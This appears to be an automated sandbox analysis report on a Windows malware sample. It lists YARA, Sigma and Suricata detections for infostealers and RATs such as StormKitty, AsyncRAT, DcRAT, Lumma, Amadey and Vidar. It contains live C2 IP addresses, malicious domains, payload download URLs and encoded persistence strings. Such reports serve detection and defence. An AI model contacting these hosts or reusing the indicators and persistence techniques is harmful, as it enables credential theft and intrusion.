11.0.usPaQ3D.exe.d10000.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff3:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
11.0.usPaQ3D.exe.d10000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c15:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163ec9:$str12: Target.Browsers.Firefox 0x14b644:$str13: Modules.Keylogger 0x153507:$str14: ClipperAddresses 0x1556ac:$str15: ChromiumPswPaths 0x1556be:$str15: ChromiumPswPaths 0x151601:$str16: DetectedBankingServices 0x15176a:$str17: DetectCryptocurrencyServices 0x15f663:$str18: CheckRemoteDebuggerPresent 0x1605e8:$str19: GetConnectedCamerasCount
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0f9:$str03: set_sExpMonth 0x1514b4:$str04: WritePasswords 0x151f6e:$str05: WriteCookies 0x1556bd:$str06: sChromiumPswPaths 0x155698:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177aa6:$str05: Perfor_mance 0x177aea:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x13863f:$str08: get_ActivatePo_ng 0x14c57a:$str09: isVM_by_wim_temper 0x178398:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x177686:$str12: ProcessHacker.exe 0x177878:$str13: Select * from Win32_CacheMemory
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x177878:$q1: Select * from Win32_CacheMemory 0x1778b8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x177906:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x177954:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.0.usPaQ3D.exe.e35b8a.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8b:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
13.0.oldVNC.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.0.oldVNC.exe.400000.0.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
13.0.oldVNC.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38f536:$f1: FileZilla\recentservers.xml 0x38f4f2:$f2: FileZilla\sitemanager.xml 0x3b9a1c:$b1: Chrome\User Data\ 0x3c04c0:$b1: Chrome\User Data\ 0x3c0fdc:$b1: Chrome\User Data\ 0x3a0c9c:$b2: Mozilla\Firefox\Profiles 0x3b4954:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3df72c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b333e:$b4: Opera Software\Opera Stable\Login Data 0x3b9aec:$b5: YandexBrowser\User Data\ 0x3d23a6:$s5: account.cfn 0x3b281c:$s6: wand.dat 0x3b22d0:$a1: username_value 0x3b8890:$a1: username_value 0x3b8b60:$a1: username_value 0x3bb014:$a1: username_value 0x3b22fc:$a2: password_value 0x3b88e8:$a2: password_value 0x3b8bb8:$a2: password_value 0x3bb06c:$a2: password_value 0x3bc110:$a3: encryptedUsername
Click to see the 46 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7236, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5f6d06eefa.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\1038908001\bKIFsVe.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe, ParentProcessId: 7736, ParentProcessName: bKIFsVe.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 2352, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7236, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5f6d06eefa.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\Desktop\UWYXurYZ2x.exe", ParentImage: C:\Users\user\Desktop\UWYXurYZ2x.exe, ParentProcessId: 7468, ParentProcessName: UWYXurYZ2x.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 7684, ProcessName: skotes.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", CommandLine: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5172, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", ProcessId: 7048, ProcessName: powershell.exe

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", CommandLine: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5172, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", ProcessId: 7048, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6296, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:58.745833+0100	2028371	3	Unknown Traffic	192.168.2.7	50000	104.102.49.254	443	TCP
2025-01-12T17:40:00.559433+0100	2028371	3	Unknown Traffic	192.168.2.7	50001	104.21.14.233	443	TCP
2025-01-12T17:40:26.317643+0100	2028371	3	Unknown Traffic	192.168.2.7	50049	172.67.161.160	443	TCP
2025-01-12T17:41:03.269657+0100	2028371	3	Unknown Traffic	192.168.2.7	50061	104.102.49.254	443	TCP

ET MALWARE Danabot Key Exchange Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:40:58.017155+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.7	50055	194.32.76.77	443	TCP
2025-01-12T17:40:59.315783+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.7	50056	45.76.251.57	443	TCP
2025-01-12T17:41:00.640538+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.7	50058	194.32.76.77	443	TCP
2025-01-12T17:41:01.965549+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.7	50059	45.76.251.57	443	TCP

ET MALWARE LUMAR Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:56.843118+0100	2048736	1	A Network Trojan was detected	192.168.2.7	49996	185.244.212.106	2227	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:40:01.044318+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50001	104.21.14.233	443	TCP
2025-01-12T17:40:26.826459+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50049	172.67.161.160	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:40:01.044318+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50001	104.21.14.233	443	TCP
2025-01-12T17:40:26.826459+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50049	172.67.161.160	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:24.764615+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49977	185.215.113.43	80	TCP
2025-01-12T17:39:32.671963+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49979	185.215.113.43	80	TCP
2025-01-12T17:39:39.530103+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49981	185.215.113.43	80	TCP
2025-01-12T17:39:43.917016+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49985	185.215.113.43	80	TCP
2025-01-12T17:39:52.624385+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49988	185.215.113.43	80	TCP
2025-01-12T17:39:57.131691+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49994	185.215.113.43	80	TCP
2025-01-12T17:40:02.845658+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50003	185.215.113.43	80	TCP
2025-01-12T17:40:07.185106+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50011	185.215.113.43	80	TCP
2025-01-12T17:40:10.974043+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50017	185.215.113.43	80	TCP
2025-01-12T17:40:17.747371+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50023	185.215.113.43	80	TCP
2025-01-12T17:40:24.561090+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50045	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abruptyopsn .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.526866+0100	2058598	1	Domain Observed Used for C2 Detected	192.168.2.7	56691	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (apporholis .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:58.009311+0100	2059035	1	Domain Observed Used for C2 Detected	192.168.2.7	63154	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chipdonkeruz .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:58.065907+0100	2059037	1	Domain Observed Used for C2 Detected	192.168.2.7	49503	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cloudewahsj .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.600458+0100	2058606	1	Domain Observed Used for C2 Detected	192.168.2.7	58914	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crowdwarek .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:58.020845+0100	2059039	1	Domain Observed Used for C2 Detected	192.168.2.7	52521	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (femalsabler .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:57.997071+0100	2059041	1	Domain Observed Used for C2 Detected	192.168.2.7	57805	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (framekgirus .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.547374+0100	2058610	1	Domain Observed Used for C2 Detected	192.168.2.7	64844	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (handscreamny .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:58.078464+0100	2059043	1	Domain Observed Used for C2 Detected	192.168.2.7	49657	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nearycrepso .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.501680+0100	2058616	1	Domain Observed Used for C2 Detected	192.168.2.7	58663	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (noisycuttej .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.579516+0100	2058618	1	Domain Observed Used for C2 Detected	192.168.2.7	52011	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.483626+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.7	54203	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rabidcowse .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.589507+0100	2058622	1	Domain Observed Used for C2 Detected	192.168.2.7	56032	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (robinsharez .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:58.090885+0100	2059049	1	Domain Observed Used for C2 Detected	192.168.2.7	58567	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (soundtappysk .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:57.974776+0100	2059051	1	Domain Observed Used for C2 Detected	192.168.2.7	51323	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tirepublicerj .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.559671+0100	2058628	1	Domain Observed Used for C2 Detected	192.168.2.7	60067	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (versersleep .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:58.050504+0100	2059057	1	Domain Observed Used for C2 Detected	192.168.2.7	59593	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wholersorie .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:02.536635+0100	2058632	1	Domain Observed Used for C2 Detected	192.168.2.7	56547	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:40:10.156892+0100	2044247	1	Malware Command and Control Activity Detected	116.203.166.124	443	192.168.2.7	50015	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:40:12.464937+0100	2051831	1	Malware Command and Control Activity Detected	116.203.166.124	443	192.168.2.7	50019	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:40:12.464710+0100	2049087	1	A Network Trojan was detected	192.168.2.7	50019	116.203.166.124	443	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:41.077923+0100	2842478	1	Malware Command and Control Activity Detected	157.20.182.24	4449	192.168.2.7	49983	TCP
2025-01-12T17:39:47.063687+0100	2842478	1	Malware Command and Control Activity Detected	157.20.182.24	4449	192.168.2.7	49987	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:41:01.398601+0100	2856121	1	A Network Trojan was detected	192.168.2.7	50054	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:05.377521+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49973	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:24.053722+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49974	TCP
2025-01-12T17:40:59.195501+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.7	50054	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:08.385055+0100	2803305	3	Unknown Traffic	192.168.2.7	49975	31.41.244.11	80	TCP
2025-01-12T17:39:25.471945+0100	2803305	3	Unknown Traffic	192.168.2.7	49978	31.41.244.11	80	TCP
2025-01-12T17:39:33.398527+0100	2803305	3	Unknown Traffic	192.168.2.7	49980	31.41.244.11	80	TCP
2025-01-12T17:39:40.310307+0100	2803305	3	Unknown Traffic	192.168.2.7	49982	31.41.244.11	80	TCP
2025-01-12T17:39:45.339830+0100	2803305	3	Unknown Traffic	192.168.2.7	49986	162.0.209.157	443	TCP
2025-01-12T17:39:53.379947+0100	2803305	3	Unknown Traffic	192.168.2.7	49990	31.41.244.11	80	TCP
2025-01-12T17:39:57.856325+0100	2803305	3	Unknown Traffic	192.168.2.7	49997	31.41.244.11	80	TCP
2025-01-12T17:40:03.566222+0100	2803305	3	Unknown Traffic	192.168.2.7	50006	185.215.113.16	80	TCP
2025-01-12T17:40:07.925738+0100	2803305	3	Unknown Traffic	192.168.2.7	50012	185.215.113.16	80	TCP
2025-01-12T17:40:11.848156+0100	2803305	3	Unknown Traffic	192.168.2.7	50018	185.215.113.16	80	TCP
2025-01-12T17:40:18.870311+0100	2803305	3	Unknown Traffic	192.168.2.7	50024	185.215.113.16	80	TCP
2025-01-12T17:40:25.305765+0100	2803305	3	Unknown Traffic	192.168.2.7	50047	31.41.244.11	80	TCP
2025-01-12T17:40:59.419572+0100	2803305	3	Unknown Traffic	192.168.2.7	50054	185.215.113.16	80	TCP
2025-01-12T17:41:01.887591+0100	2803305	3	Unknown Traffic	192.168.2.7	50054	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:39:59.617478+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	50000	104.102.49.254	443	TCP
2025-01-12T17:41:03.751068+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	50061	104.102.49.254	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T17:40:07.119292+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.7	50010	116.203.166.124	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: UWYXurYZ2x.exe

Avira: detected

Antivirus detection for URL or domain

Source: wholersorie.shop	URL Reputation: Label: malware
Source: noisycuttej.shop	URL Reputation: Label: malware
Source: https://marka4.cyou/rome	Avira URL Cloud: Label: malware
Source: https://marka4.cyou/	Avira URL Cloud: Label: malware
Source: https://marka4.cyou/pData	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/7967666176/13Z5sqy.exe	Avira URL Cloud: Label: phishing
Source: https://marka4.cyou/iLz48dGV4dCB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB4PSI1M	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/5222311384/WZMQlGj.exe	Avira URL Cloud: Label: phishing
Source: https://femalsabler.shop:443/api	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/7202997285/HNsLLEj.exe	Avira URL Cloud: Label: phishing
